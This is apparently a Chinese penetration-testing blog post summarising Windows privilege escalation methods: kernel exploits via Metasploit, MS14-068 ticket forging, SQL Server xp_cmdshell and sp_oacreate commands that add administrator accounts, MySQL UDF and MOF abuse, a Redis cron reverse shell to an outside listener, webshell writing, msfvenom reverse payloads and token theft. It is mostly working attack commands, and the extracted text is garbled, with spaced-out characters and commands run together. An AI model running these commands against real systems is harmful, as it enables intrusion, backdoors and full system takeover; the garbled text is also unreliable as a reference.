搜索

[26754] 2021-07-22_windows提权小结及靶场实践

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-19
2021-07-22_windows提权小结及靶场实践 w i n d o w s 提 权 小 结 及 靶 场 实 践 原 创   快 乐 鸡 哥   m o o n s e c   2 0 2 1 - 0 7 - 2 2 收 录 于 话 题   # 渗 透 测 试   免 杀   红 队   , 2 3 个 w i n d o w s 提 权 小 结 及 靶 场 实 践 提 权 小 结 及 靶 场 实 践 一 、 概 述   1 二 、 漏 洞 提 权   2 2 . 1   补 丁 收 集   2 2 . 2   C V E - 2 0 2 0 - 0 7 8 7   2 2 . 3   C V E - 2 0 1 8 - 8 1 2 0   3 2 . 4   C V E - 2 0 1 9 - 0 8 0 3   3 2 . 5   M S 1 6 - 0 7 5 （ 烂 土 豆 ）   4 2 . 6   M S 1 4 - 0 6 8 （ 域 内 提 权 ）   5 三 、 数 据 库 提 权   7 3 . 1   S q l   S e r v e r   7 3 . 2   M y s q l   9 3 . 3   R e d i s   1 2 四 、 W i n d o w s 特 性   1 3 4 . 1   A T 提 权   1 3 4 . 2   进 程 注 入 提 权   1 3 4 . 3   S C 提 权   1 3 4 . 4   P s E x e c 提 权   1 4 4 . 5 令 牌 窃 取   1 4 4 . 6 不 带 引 号 的 服 务 路 径   1 5 4 . 7 不 安 全 的 服 务 权 限   1 6 4 . 8   D l l 劫 持   1 7 4 . 9   P r i n t S p o o f e r 提 权   1 7 4 . 1 0   G P P 组 策 略 首 选 项   1 7 五 、 第 三 方 软 件 提 权   1 9 5 . 1   T e a m v i e w   1 9 5 . 2   F i l e Z i l l a   1 9 七 、 靶 场 实 践   2 0 7 . 1 子 域 名 收 集   2 0 7 . 2 主 机 发 现   2 1 7 . 3 端 口 扫 描   2 1 7 . 4   w e b 漏 洞 测 试   2 3 7 . 5 内 网 横 移   2 6 1 一 、 概 述 一 、 概 述 这 次 一 起 来 小 结 下 W i n d o w s 常 用 提 权 方 式 ， 主 要 分 为 ： 漏 洞 提 权 、 数 据 库 提 权 、 W i n d o w s 特 性 提 权 、 第 三 方 软 件 提 权 等 。 由 于 小 弟 的 能 力 还 比 较 薄 弱 ， 文 章 尚 有 纰 漏 还 请 师 傅 海 涵 。 2 二 、 漏 洞 提 权 二 、 漏 洞 提 权 测 试 环 境 均 在 w i n 7 x 6 4   s p 1 2 . 1   补 丁 收 集 补 丁 收 集 当 接 收 到 会 话 后 ， 可 以 使 用 m s f 自 带 的 命 令 ： 同 样 也 可 以 使 用 h t t p s : / / g i t h u b . c o m / c h r o b l e r t / W i n d o w s V u l n S c a n 搜 索 系 统 缺 失 的 补 丁 ： 先 运 行 其 p s 脚 本 得 到 系 统 中 所 打 的 补 丁 号 ： p y t h o n . e x e   . c h e c k . p y   - u 创 建 C V E K B 数 据 库 后 ， 接 着 p y t h o n . e x e . c h e c k . p y   - C   - f   . K B . j s o n 查 看 操 作 系 统 打 的 补 丁 ， 以 及 存 在 可 进 行 漏 洞 利 用 的 公 开 E X P 漏 洞 。 2 . 2   C V E - 2 0 2 0 - 0 7 8 7 漏 洞 背 景 ： B a c k g r o u n d I n t e l l i g e n t   T r a n s f e r S e r v i c e （ B I T S ） 是 其 中 的 一 个 后 台 智 能 传 输 服 务 组 件 。 B I T S 中 存 在 提 权 漏 洞 ， 该 漏 洞 源 于 该 服 务 无 法 正 确 处 理 符 号 链 接 。 攻 击 者 可 通 过 执 行 特 制 的 应 用 程 序 利 用 该 漏 洞 覆 盖 目 标 文 件 ， 提 升 权 限 。 漏 洞 危 害 ： 影 响 w i n d o w s 全 版 本 e x p 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / c b w a n g 5 0 5 / C V E - 2 0 2 0 - 0 7 8 7 - E X P - A L L - W I N D O W S - V E R S I O N 漏 洞 验 证 ： u s e   p o s t / m u l t i / r e c o n / l o c a l _ e x p l o i t _ s u g g e s t e r s e t   S E S S I O N   1 0 r u n
2 . 3   C V E - 2 0 1 8 - 8 1 2 0 漏 洞 背 景 ： C V E - 2 0 1 8 - 8 1 2 0 是 W i n d o w s 操 作 系 统 W i n 3 2 k 的 内 核 提 权 漏 洞 ， W i n d o w s 系 统 w i n 3 2 k . s y s 组 件 的 N t U s e r S e t I m e I n f o E x ( ) 系 统 服 务 函 数 内 部 未 验 证 内 核 对 象 中 的 空 指 针 对 象 , 普 通 应 用 程 序 可 利 用 该 空 指 针 漏 洞 以 内 核 权 限 执 行 任 意 代 码 。 漏 洞 危 害 ： W i n d o w s 7   S P 1 / 2 0 0 8   S P 2 , 2 0 0 8   R 2   S P 1 e x p 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / S e c W i k i / w i n d o w s - k e r n e l - e x p l o i t s / b l o b / m a s t e r / C V E - 2 0 1 8 - 8 1 2 0 漏 洞 验 证 ： M s f 集 成 了 该 漏 洞 的 p a y l o a d ， 当 m s f 反 弹 会 话 后 ， 执 行 下 面 命 令 因 为 是 利 用 内 核 提 权 ， 可 见 返 回 的 直 接 是 s y s t e m 权 限 的 会 话 。 2 . 4   C V E - 2 0 1 9 - 0 8 0 3 漏 洞 背 景 ： W i n 3 2 k 组 件 无 法 正 确 处 理 内 存 中 的 对 象 时 ， 可 导 致 特 权 提 升 。 成 功 利 用 此 漏 洞 的 攻 击 者 可 以 在 内 核 模 式 中 运 行 任 意 代 码 、 安 装 任 意 程 序 、 查 看 、 更 改 或 删 除 数 据 、 或 者 创 建 拥 有 完 全 用 户 权 限 的 新 帐 户 。 漏 洞 危 害 ： W i n d o w s 7 / 8 / 1 0 / 2 0 0 8 / 2 0 1 2 / 2 0 1 6 e x p 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / E x p L i f e 0 0 1 1 / C V E - 2 0 1 9 - 0 8 0 3 漏 洞 验 证 ： 2 . 5   M S 1 6 - 0 7 5 （ 烂 土 豆 ） （ 烂 土 豆 ） 漏 洞 背 景 ： W i n d o w s S M B   服 务 器 特 权 提 升 漏 洞 ， 当 攻 击 者 转 发 适 用 于 在 同 一 计 算 机 上 运 行 的 其 他 服 务 的 身 份 验 证 请 求 时 ， M i c r o s o f t 服 务 器 消 息 块   ( S M B ) 中 存 在 特 权 提 升 漏 洞 ， 成 功 利 用 此 漏 洞 的 攻 击 者 可 以 使 用 提 升 的 特 权 执 行 任 意 代 码 。 若 要 利 用 此 漏 洞 ， 攻 击 者 首 先 必 须 登 录 系 统 。 然 后 ， 攻 击 者 可 以 运 行 一 个 为 利 用 此 漏 洞 而 经 特 殊 设 计 的 应 用 程 序 ， 从 而 控 制 受 影 响 的 系 统 。 漏 洞 危 害 ： w i n d o w s 2 0 0 3 / 2 0 0 8 / 7 / 8 / 2 0 1 2 e x p 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / S e c W i k i / w i n d o w s - k e r n e l - e x p l o i t s / t r e e / m a s t e r / M S 1 6 - 0 7 5 漏 洞 验 证 ： 当 m s f 反 弹 会 话 后 ， 执 行 下 面 命 令 ， 使 用 烂 土 豆 提 权 ， 一 次 不 行 用 多 次 后 续 可 以 用 令 牌 窃 取 或 者 g e t s y s t e m 命 令 获 取 到 s y s t e m 权 限 ： 2 . 6   M S 1 4 - 0 6 8 （ 域 内 提 权 ） （ 域 内 提 权 ） 漏 洞 背 景 ： M S 1 4 - 0 6 8 这 个 漏 洞 是 位 于 k d c s v c . d l l   域 控 制 器 的 密 钥 分 发 中 心 （ K D C ） 服 务 中 的 W i n d o w s   漏 洞 ， 它 允 许 经 过 身 份 验 证 的 用 户 在 其 获 得 的 票 证 T G T   中 插 入 任 意 的 P A C   。 普 通 用 户 可 以 通 过 呈 现 具 有 改 变 了 P A C   的   T G T 来 伪 造 票 据 获 得 管 理 员 权 限 。 攻 击 者 要 利 用   M S 1 4 - 0 6 8 这 个 漏 洞 提 权 时 ， 需 要 掌 握 下 面 几 个 信 息 ： • 域 内 任 意 用 户 S I D u s e   e x p l o i t / w i n d o w s / l o c a l / m s 1 8 _ 8 1 2 0 _ w i n 3 2 k _ p r i v e s c s e t   S E S S I O N   1 0 e x p l o i t u s e   e x p l o i t / w i n d o w s / l o c a l / m s 1 6 _ 0 7 5 _ r e f l e c t i o n _ j u i c y s e t   s e s s i o n   1 0 e x p l o i t
• 域 内 任 意 用 户 密 码 漏 洞 危 害 ： w i n d o w s 2 0 0 3 / 2 0 0 8 / 2 0 1 2 / 7 / 8 e x p 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / S e c W i k i / w i n d o w s - k e r n e l - e x p l o i t s / t r e e / m a s t e r / M S 1 4 - 0 6 8 漏 洞 验 证 ： 先 用 w h o a m i / u s e r 查 看 当 前 用 户 s i d K e r b e r o s : : p u r g e 或 k l i s t p u r g e 先 清 空 当 前 机 器 中 的 所 有 凭 证 ： 利 用 M S 1 4 - 0 6 8 生 成 相 应 凭 证 ： 使 用 m i m i k a t z 将 票 据 注 入 内 存 ： 后 续 利 用 ： 3 三 、 数 据 库 提 权 三 、 数 据 库 提 权 3 . 1   S q l   S e r v e r X p _ c m d s h e l l 提 权 提 权 X p _ c m d s h e l l 扩 展 时 可 以 执 行 系 统 命 令 的 ， 而 s q l s e r v e r 默 认 就 是 s y s t e m 权 限 ， 这 是 我 们 能 利 用 其 提 权 的 原 因 。 默 认 s a 支 持 外 连 。 判 断 权 限 是 不 是 s a s e l e c t i s _ s r v r o l e m e m b e r ( ' s y s a d m i n ' ) 判 断 x p _ c m d s h e l l 扩 展 存 储 是 否 存 在 判 断 x p _ r e g r e a d 扩 展 存 储 过 程 是 否 存 在 开 启 x p _ c m d s h e l l 关 闭 x p _ c m d s h e l l 提 权 M S 1 4 - 0 6 8 . e x e   - u   c @ t e s t . c o m   - s S - 1 - 5 - 2 1 - 2 2 7 3 1 9 1 0 6 5 - 1 6 3 5 4 8 4 3 6 0 - 3 8 8 8 4 2 1 1 7 7 - 1 1 0 5   - d   1 9 2 . 1 6 8 . 2 0 2 . 1 4 8   - p c @ z x c v b n m 1 2 3 K e r b e r o s : : p t c   " T G T _ c @ t e s t . c o m . c c a c h e " s e l e c t   c o u n t ( * )   f r o m   m a s t e r . d b o . s y s o b j e c t s   w h e r e   x t y p e   =   ' x '   A N D   n a m e = ' x p _ c m d s h e l l ' s e l e c t   c o u n t ( * )   f r o m   m a s t e r . d b o . s y s o b j e c t s   w h e r e   n a m e = ' x p _ r e g r e a d ' e x e c   s p _ c o n f i g u r e   ' s h o w   a d v a n c e d   o p t i o n s ' ,   1 ; r e c o n f i g u r e ; e x e c   s p _ c o n f i g u r e   ' x p _ c m d s h e l l ' , 1 ; r e c o n f i g u r e ; e x e c s p _ c o n f i g u r e   ' s h o w   a d v a n c e d   o p t i o n s ' ,   1 ; r e c o n f i g u r e ; e x e c s p _ c o n f i g u r e   ' x p _ c m d s h e l l ' ,   0 ; r e c o n f i g u r e e x e c   m a s t e r . . x p _ c m d s h e l l   ' n e t   u s e r   t e s t   q w e a 1 2 3 .   / a d d '         添 加 用 户 t e s t ， 密 码 t e s t e x e c   m a s t e r . . x p _ c m d s h e l l   ' n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   t e s t   a d d '       添 加 t e s t 用 户 到 管 理 员 组
s p _ o a c r e a t e 提 权 提 权 s p _ o a c r e a t e 提 权 主 要 调 用 了 O L E 对 象 的 r u n 方 法 执 行 了 系 统 命 令 。 M s s q l 之 后 的 版 本 先 要 开 启 。 开 启 关 闭 u r e ; 执 行 命 令 沙 盒 提 权 ： 沙 盒 提 权 ： - - 不 开 启 的 话 在 执 行 x p _ r e g w r i t e 会 提 示 让 我 们 开 启 ， e x e c s p _ c o n f i g u r e   ' A d   H o c   D i s t r i b u t e d   Q u e r i e s ' , 1 ; r e c o n f i g u r e ; - - 关 闭 沙 盒 模 式 ， 如 果 一 次 执 行 全 部 代 码 有 问 题 ， 先 执 行 上 面 两 句 代 码 。 - - 查 询 是 否 正 常 关 闭 ， 经 过 测 试 发 现 沙 盒 模 式 无 论 是 开 ， 还 是 关 ， 都 不 会 影 响 我 们 执 行 下 面 的 语 句 。 - - 执 行 系 统 命 令 3 . 2   M y s q l U D F 提 权 提 权 u d f =   ‘ u s e r   d e f i n e d f u n c t i o n ’ ， 即 ‘ 用 户 自 定 义 函 数 ’ 。 是 通 过 添 加 新 函 数 ， 对 M Y S Q L 的 功 能 进 行 扩 充 ， 其 提 权 原 理 ， 利 用 了 r o o t 高 权 限 ， 创 建 带 有 调 用 c m d 的 函 数 的 u d f . d l l 动 态 链 接 库 ， 可 以 通 过 以 下 几 种 方 法 得 到 r o o t 密 码 ： 读 取 网 站 数 据 库 配 置 文 件 读 取 数 据 库 存 储 或 备 份 文 件 暴 力 破 解 ， r o o t 默 认 不 支 持 外 连 就 要 上 传 脚 本 到 服 务 器 爆 破 使 用 U D F 提 权 先 要 知 道 M y S q l 对 应 的 版 本 ： s e l e c t v e r s i o n ( ) M y s q l <   5 . 1   导 出 目 录 c : / w i n d o w s 或 s y s t e m 3 2 M y s q l = >   5 . 1   导 出 目 录 / l i b / p l u g i n / 目 录 可 以 手 工 创 建 ， 也 可 以 使 用 N T F S 流 创 建 : s e l e c t ‘ x ’   i n t o   d u m p f i l e   ‘ 数 据 库 目 录 / l i b / p l u g i n : : I N D E X _ A L L L O C A T I O N ‘ 查 看 数 据 库 安 装 目 录 : S e l e c t @ @ b a s e d i r 查 看 M y S Q L 版 本 : s e l e c t v e r s i o n ( ) ; 查 看 M y S Q L 的 插 件 目 录 : s e l e c t @ @ p l u g i n _ d i r ; 创 建 l i b 目 录 : s e l e c t ' i t   i s   d l l '   i n t o   d u m p f i l e   ' c : p r o g r a m   f i l e s m y s q l m y s q l   s e r v e r 5 . 1 l i b : : $ I N D E X _ A L L O C A T I O N ' ; 创 建 p l u g i n 目 录 : 创 建 u d f . d l l p h p 文 件 已 集 成 了 相 关 导 出 功 能 ， 点 击 导 出 即 可 ： 创 建 函 数 ： c r e a t e f u n c t i o n   s y s _ e v a l   r e t u r n s   s t r i n g   s o n a m e   ' u d f . d l l ' ; e x e c s p _ c o n f i g u r e   ' s h o w   a d v a n c e d   o p t i o n s ' , 1 ; r e c o n f i g u r e ; e x e c s p _ c o n f i g u r e   ' o l e   a u t o m a t i o n   p r o c e d u r e s ' , 1 ;   r e c o n f i g u r e ; e x e c s p _ c o n f i g u r e   ' s h o w   a d v a n c e d   o p t i o n s ' , 1 ; r e c o n f i g u r e ; e x e c s p _ c o n f i g u r e   ' o l e   a u t o m a t i o n   p r o c e d u r e s ' , 0 ; r e c o n f i g u r e ; e x e c s p _ c o n f i g u r e   ' s h o w   a d v a n c e d   o p t i o n s ' , 0 ; r e c o n f i g d e c l a r e @ s h e l l   i n t e x e c s p _ o a c r e a t e   ' w s c r i p t . s h e l l ' ,   @ s h e l l   o u t p u t e x e c s p _ m e t h o d   @ s h e l l ,   ' r u n '   ,   n u l l ,   ' c : w i n d o w s s y s t e m 3 2 c m d . e x e   / c   " n e t u s e r   t e s t   q w e a 1 2 3 .   / a d d "   ' e x e c s p _ c o n f i g u r e   ' s h o w   a d v a n c e d   o p t i o n s ' , 1 ; r e c o n f i g u r e ; e x e c m a s t e r . . x p _ r e g w r i t e ' H K E Y _ L O C A L _ M A C H I N E ' , ' S O F T W A R E M i c r o s o f t J e t 4 . 0 E n g i n e s ' , ' S a n d B o x M o d e ' , ' R E G _ D W O R D ' , 0 ; e x e c m a s t e r . d b o . x p _ r e g r e a d ' H K E Y _ L O C A L _ M A C H I N E ' , ' S O F T W A R E M i c r o s o f t J e t 4 . 0 E n g i n e s ' , ' S a n d B o x M o d e ' s e l e c t   *   f r o m o p e n r o w s e t ( ' m i c r o s o f t . j e t . o l e d b . 4 . 0 ' , ' ; d a t a b a s e = c : / w i n d o w s / s y s t e m 3 2 / i a s / i a s . m d b ' , ' s e l e c t s h e l l ( " n e t   u s e r   t e s t 3   q w e a 1 2 3 .   / a d d " ) ' ) s e l e c t ' i t   i s   d l l '   i n t o   d u m p f i l e   ' c : p r o g r a m   f i l e s m y s q l m y s q l   s e r v e r 5 . 1 p l u g i n : : $ I N D E X _ A L L O C A T I O N ' ; s e l e c t   u n h e x ( ' h e x _ o f _ u d f . d l l ' )   i n t o   d u m p f i l e   " c : p r o g r a m f i l e s m y s q l m y s q l   s e r v e r   5 . 1 p l u g i n u d f . d l l " ;
执 行 s h e l l 命 令 ： s e l e c t s y s _ e v a l ( ' n e t   u s e r ' ) ; M O F 提 权 提 权 m o f 是 w i n d o w s 系 统 的 一 个 文 件 （ 在 c : / w i n d o w s / s y s t e m 3 2 / w b e m / m o f / n u l l e v t . m o f ） 叫 做 " 托 管 对 象 格 式 " 其 作 用 是 每 隔 五 秒 就 会 去 监 控 进 程 创 建 和 死 亡 。 M O F 提 权 的 原 理 就 是 当 拥 有 m y s q l 的 r o o t 权 限 了 以 后 ， 然 后 使 用 s q l 语 句 将 系 统 当 中 默 认 的 n u l l e v t . m o f 给 替 换 掉 ， 进 而 让 系 统 执 行 我 们 这 个 恶 意 的 m o f 文 件 。 替 换 的 s q l 语 句 ： s e l e c t l o a d _ f i l e ( ' D : w a m p m y . m o f ' )   i n t o   d u m p f i l e ' c : / w i n d o w s / s y s t e m 3 2 / w b e m / m o f / n u l l e v t . m o f ' ; m o f 文 件 代 码 如 下 所 示 ： 有 可 能 权 限 不 够 文 件 写 入 c : / w i n d o w s / s y s t e m 3 2 / 目 录 失 败 ， 或 者 被 防 护 软 件 拦 截 等 情 况 出 现 。 启 动 项 提 权 启 动 项 提 权 导 出 自 定 义 可 执 行 文 件 到 启 动 目 录 配 合 重 启 执 行 先 执 行 s q l 语 句 开 启 r o o t 外 连 ： G R A N T A L L   P R I V I L E G E S   O N   * . *   T O   r o o t @ " % "   I D E N T I F I E D   B Y   " r o o t " ; f l u s h p r i v i l e g e s ; M s f 使 用 内 置 的 w i n d o w s / m y s q l / m y s q l _ s t a r t _ s q l 模 块 ， 连 接 数 据 库 ， 把 后 门 写 入 服 务 器 启 动 项 ： u s e e x p l o i t / w i n d o w s / m y s q l / m y s q l _ s t a r t _ u p s e t r h o s t s   1 9 2 . 1 6 8 . 2 0 2 . 1 s e t u s e r n a m e   r o o t s e t p a s s w o r d   r o o t 注 意 ： m y s q l 5 . 7 导 出 数 据 提 示 - - s e c u r e - f i l e - p r i v 选 项 问 题 ， 查 看 s e c u r e _ f i l e _ p r i v 的 值 ， 默 认 为 N U L L ， 表 示 限 制 不 能 导 入 导 出 ， 而 s e c u r e _ f i l e _ p r i v 参 数 是 只 读 参 数 ， 不 能 使 用 s e t g l o b a l 命 令 修 改 。 所 以 我 们 需 要 打 开 m y . c n f 或   m y . i n i ， 加 入 以 下 语 句 后 重 启 m y s q l 。 s e c u r e _ f i l e _ p r i v = ' ' 没 有 值 时 ， 表 示 不 限 制 m y s q l d 在 任 意 目 录 的 导 入 导 出 。 3 . 3   R e d i s 未 授 权 访 问 漏 洞 未 授 权 访 问 漏 洞 R e d i s 未 授 权 访 问 是 由 于 自 身 配 置 不 当 所 造 成 的 ， 没 有 配 置 指 定 i p 登 录 远 程 登 录 密 码 为 空 等 ， 可 以 通 过 绑 定 数 据 库 访 问 的 i p 、 设 置 数 据 库 访 问 的 密 码 、 修 改 数 据 库 服 务 运 行 账 户 的 权 限 修 补 。 # p r a g m a n a m e s p a c e ( " . r o o t s u b s c r i p t i o n " ) i n s t a n c e o f   _ _ E v e n t F i l t e r   a s   $ E v e n t F i l t e r { E v e n t N a m e s p a c e   =   " R o o t C i m v 2 " ; N a m e     =   " f i l t P 2 " ; Q u e r y   =   " S e l e c t   *   F r o m   _ _ I n s t a n c e M o d i f i c a t i o n E v e n t   " " W h e r e   T a r g e t I n s t a n c e   I s a   " W i n 3 2 _ L o c a l T i m e "   " " A n d   T a r g e t I n s t a n c e . S e c o n d   =   5 " ; Q u e r y L a n g u a g e   =   " W Q L " ; } ; i n s t a n c e o f   A c t i v e S c r i p t E v e n t C o n s u m e r   a s   $ C o n s u m e r { N a m e   =   " c o n s P C S V 2 " ; S c r i p t i n g E n g i n e   =   " J S c r i p t " ; S c r i p t T e x t   = " v a r   W S H   =   n e w A c t i v e X O b j e c t ( " W S c r i p t . S h e l l " ) n W S H . r u n ( " n e t . e x e u s e r   a d m i n   a d m i n   / a d d " ) " ; } ; i n s t a n c e o f   _ _ F i l t e r T o C o n s u m e r B i n d i n g { C o n s u m e r       =   $ C o n s u m e r ; F i l t e r   =   $ E v e n t F i l t e r ; } ;
其 漏 洞 利 用 方 法 也 有 好 几 种 ， 可 以 利 用 计 划 任 务 来 反 弹 一 个 s h e l l ： 先 在 自 己 的 服 务 器 上 监 听 一 个 端 口 ： n c - l v n p   7 9 9 9 利 用 计 划 任 务 执 行 命 令 反 弹 s h e l l ， 依 次 执 行 以 下 命 令 反 弹 得 到 系 统 权 限 ： 再 用 c r o n t a b - l   查 看 r o o t 用 户 下 的 c r o n t a b 任 务 。 同 样 可 以 通 过 通 过 漏 洞 写 入 文 件 ， 当 r e d i s 权 限 不 高 时 ， 并 且 服 务 器 开 着 w e b 服 务 ， 在 r e d i s 有 w e b 目 录 写 权 限 时 ， 可 以 尝 试 往 w e b 路 径 写 w e b s h e l l ： 4 四 、 四 、 W i n d o w s 特 性 特 性 4 . 1   A T 提 权 提 权 这 个 特 性 只 在 w i n d o w s s e r v e r   2 0 0 3 、 w i n d o w s x p 有 效 （ 有 点 古 老 了 ） ， 在 系 统 c m d 窗 口 输 入 a t 1 2 : 0 0   / i n t e r a c t i v e   c m d . e x e 新 建 计 划 任 务 ， 到 特 点 时 间 点 系 统 以 s y s t e m 身 份 自 动 执 行 该 任 务 。 4 . 2   进 程 注 入 提 权 进 程 注 入 提 权 这 个 特 性 只 在 w i n d o w s s e r v e r   2 0 0 3 、 w i n d o w s x p 有 效 （ 同 样 有 点 古 老 了 ） ， 利 用 的 是 注 入 进 程 的 所 有 者 权 限 共 享 机 制 。 使 用 p i n j e c t o r . e x e - l   查 看 可 注 入 的 进 程 ， 再 执 行 p i n j e c t o r . e x e - p   注 入 P I D   c m d 监 听 端 口 号 ， 在 k a l i 执 行 n c 监 听 即 可 。 4 . 3   S C 提 权 提 权 这 个 特 性 只 在 w i n d o w s s e r v e r   2 0 0 3 、 w i n d o w s x p 有 效 ， w i n 7 需 要 管 理 员 权 限 才 能 添 加 作 业 （ 约 等 于 没 用 ） 。 s c   C r e a t e   s y s t e m c m d   b i n P a t h =   " c m d   / K   s t a r t "   t y p e =   o w n   t y p e = i n t e r a c t S c   s t a r t   s y s t e m c m d 4 . 4   P s E x e c 提 权 提 权 此 特 性 在 w i n 7 、 w i n d o w s s e r v e r   2 0 0 3 、 2 0 0 8 有 效 P s E x e c . e x e   / a c c e p t e u l a   / s   1 2 7 . 0 . 0 . 1   c m d   / c   " w h o a m i " 4 . 5 令 牌 窃 取 令 牌 窃 取 令 牌 窃 取 可 以 在 w i n d o w s s e r v e r   2 0 0 8 2 0 0 3 、 w i n d o w s 7 x p 运 行 。 令 牌 ( t o k e n ) 是 系 统 的 临 时 秘 钥 ， 相 当 于 账 号 和 密 码 ， 用 来 决 定 是 否 允 许 这 次 请 求 和 判 断 这 次 请 求 是 属 于 哪 一 个 用 户 的 。 它 允 许 你 在 不 提 供 密 码 或 其 他 凭 证 的 前 提 下 ， 访 问 网 络 和 系 统 资 源 ， 这 些 令 牌 将 持 续 存 在 于 系 统 中 ， 除 非 系 统 重 新 启 动 。 令 牌 中 的 信 息 包 括 与 进 程 或 线 程 关 联 的 用 户 帐 户 的 标 识 和 特 权 。 当 用 户 登 录 时 ， 系 统 通 过 将 用 户 密 码 与 安 全 数 据 库 中 存 储 的 信 息 进 行 比 较 来 验 证 用 户 密 码 。 如 果 密 码 通 过 身 份 验 证 ， 则 系 统 将 生 成 访 问 令 牌 。 该 用 户 执 行 的 每 个 进 程 都 有 此 访 问 令 牌 的 副 本 。 W i n d o w s 的 令 牌 有 两 种 ： 1 、 D e l e g a t i o n t o k e n ( 授 权 令 牌 ) : 用 于 交 互 会 话 登 录 ， 例 如 远 程 桌 面 2 、 I m p e r s o n a t i o n t o k e n ( 模 拟 令 牌 ) : 用 于 非 交 互 登 录 ， 例 如 d i r 远 程 主 机 的 文 c $ 攻 击 者 必 须 已 经 在 特 权 用 户 上 下 文 （ 即 管 理 员 ） 中 才 能 窃 取 令 牌 ， 也 就 是 说 需 要 b y p a s s u a c 。 攻 击 者 通 常 使 用 令 牌 窃 取 将 其 安 全 上 下 文 从 管 理 员 级 别 提 升 到 S Y S T E M 级 别 。 如 果 帐 户 对 远 程 系 统 具 有 适 当 的 权 限 ， 则 可 以 使 用 令 牌 作 为 该 令 牌 的 帐 户 向 远 程 系 统 进 行 身 份 验 证 。 窃 取 令 牌 背 后 实 现 是 分 以 下 几 步 ： 1 、 我 们 需 要 是 管 理 员 ， 如 果 不 是 ， 可 以 使 用 b y p a s s u a c 、 烂 土 豆 等 技 术 进 行 提 权 。 2 、 复 制 访 问 令 牌 的 进 程 需 要 启 用 S e D e b u g P r i v i l e g e   权 限 。 3 、 使 用   O p e n P r o c e s s 函 数 获 取 具 有   S Y S T E M 权 限 的 进 程 句 柄 。 4 、 使 用 O p e n P r o c e s s T o k e n   函 数 获 取 该 进 程 的 令 牌 句 柄 。 5 、 使 用 D u p l i c a t e T o k e n E x   函 数 对 令 牌 进 程 复 制 。 6 、 通 过 C r e a t e P r o c e s s W i t h T o k e n   函 数 用 复 制 的 令 牌 创 建 新 的 进 程 ， 该 进 程 成 为 拥 有 S Y S T E M   权 限 的 进 程 。 下 面 具 体 操 作 ： r e d i s - c l i - h   1 9 2 . 1 6 8 . 6 3 . 1 3 0 s e t x   " n *   *   *   *   *   b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 6 3 . 1 2 8 / 7 9 9 9 0 > & 1 n " c o n f i g s e t   d i r   / v a r / s p o o l / c r o n / c o n f i g s e t   d b f i l e n a m e   r o o t s a v e c o n f i g   s e t   d i r   / v a r / w w w / h t m l / c o n f i g   s e t   d b f i l e n a m e   s h e l l . p h p s e t x   " < ? p h p   p h p i n f o ( ) ; ? > " s a v e m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p   l h o s t = 1 9 2 . 1 6 8 . 2 0 2 . 1 3 1   l p o r t = 2 2 2 2 2 - f   e x e   - o   h 4 . e x e     / / 生 成 e x e u s e   e x p l o i t / m u l t i / h a n d l e r     / / 建 立 监 听 s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p s e t   l p o r t   2 2 2 2 2 s e t   l h o s t   1 9 2 . 1 6 8 . 2 0 2 . 1 3 1
u s e i n c o g n i t o l i s t _ t o k e n s - u       获 取 用 户 T o k e n 上 面 为 交 互 登 录 T o k e n ， 可 见 没 有 b y p a s s u a c 的 情 况 下 是 没 有 s y s t e m 的 ， 下 面 为 非 交 互 登 录 会 话 T o k e n u s e   e x p l o i t / w i n d o w s / l o c a l / b y p a s s u a c s e t   s e s s i o n   5 i m p e r s o n a t e _ t o k e n “ N T   A U T H O R I T Y S Y S T E M ”   进 行 令 牌 假 冒 4 . 6 不 带 引 号 的 服 务 路 径 不 带 引 号 的 服 务 路 径 当 w i n d o w s 服 务 中 的 路 径 没 有 被 引 号 包 含 ， 则 操 作 系 统 会 执 行 空 格 分 割 后 服 务 路 径 的 前 一 部 分 。 所 以 我 们 可 以 构 造 并 上 传 路 径 名 称 的 文 件 ， 然 后 重 启 服 务 ， 达 到 提 权 母 的 。 先 输 入 命 令 检 测 不 带 引 号 的 服 务 路 径 ： 可 见 第 一 个 是 没 有 空 格 ， 没 有 问 题 ， m y t e s t 3 则 有 问 题 。 我 们 在 c 盘 下 ， 新 建 文 件 ， 并 新 建 c m d 窗 口 执 行 C : P r o g r a m F i l e s c m d . e x e ， 则 执 行 到 P r o g r a m . e x e 文 件 4 . 7 不 安 全 的 服 务 权 限 不 安 全 的 服 务 权 限 由 于 服 务 配 置 管 理 的 错 误 ， 用 户 对 服 务 拥 有 过 多 的 权 限 ， 有 可 能 直 接 修 改 服 务 中 的 执 行 文 件 。 可 使 用 a c c e s s c h k . e x e 查 找 特 定 用 户 可 修 改 的 服 务 ： a c c e s s c h k . e x e   - u w c q v   “ q q q q ”   * 使 用 s c 指 令 修 改 并 重 启 服 务 4 . 8   D l l 劫 持 劫 持 L p k 提 权 就 是 D l l 劫 持 的 一 种 ， 主 要 原 理 就 是 利 用 所 执 行 的 e x e 程 序 优 先 加 载 同 目 录 下 的 d l l ， 且 没 有 对 其 加 载 的 d l l 进 行 验 证 ， 具 体 演 示 在 之 前 钓 鱼 文 章 中 ： 攻 击 者 需 要 d l l 劫 持 提 权 满 足 以 下 三 个 点 ： 1 、 系 统 中 存 在 d l l 劫 持 的 e x e 程 序 2 、 当 前 权 限 能 替 换 e x e 程 序 同 目 录 中 的 d l l 文 件 3 、 管 理 员 权 限 去 执 行 该 e x e 程 序 4 . 9   P r i n t S p o o f e r 提 权 提 权 使 用 P r i n t S p o o f e r 工 具 提 权 的 原 理 是 ， 当 我 们 具 有 了 S e A s s i g n P r i m a r y T o k e n P r i v i l e g e 或 S e I m p e r s o n a t e P r i v i l e g e 特 权 时 ， 可 以 通 过 上 述 这 两 个 特 权 ， 在 其 他 用 户 的 上 下 文 中 运 行 代 码 ， 甚 至 创 建 新 的 进 程 ， 那 就 意 味 着 能 具 有 S Y S T E M 权 限 ： 上 图 是 当 g e t s h e l l 后 ， w h o a m i a l l 查 看 当 前 拥 有 了 S e I m p e r s o n a t e P r i v i l e g e 的 特 权 ， 我 们 就 可 以 调 用 C r e a t e P r o c e s s W i t h T o k e n ( ) ， 使 其 创 建 新 进 程 并 拥 有 S Y S T E M 权 限 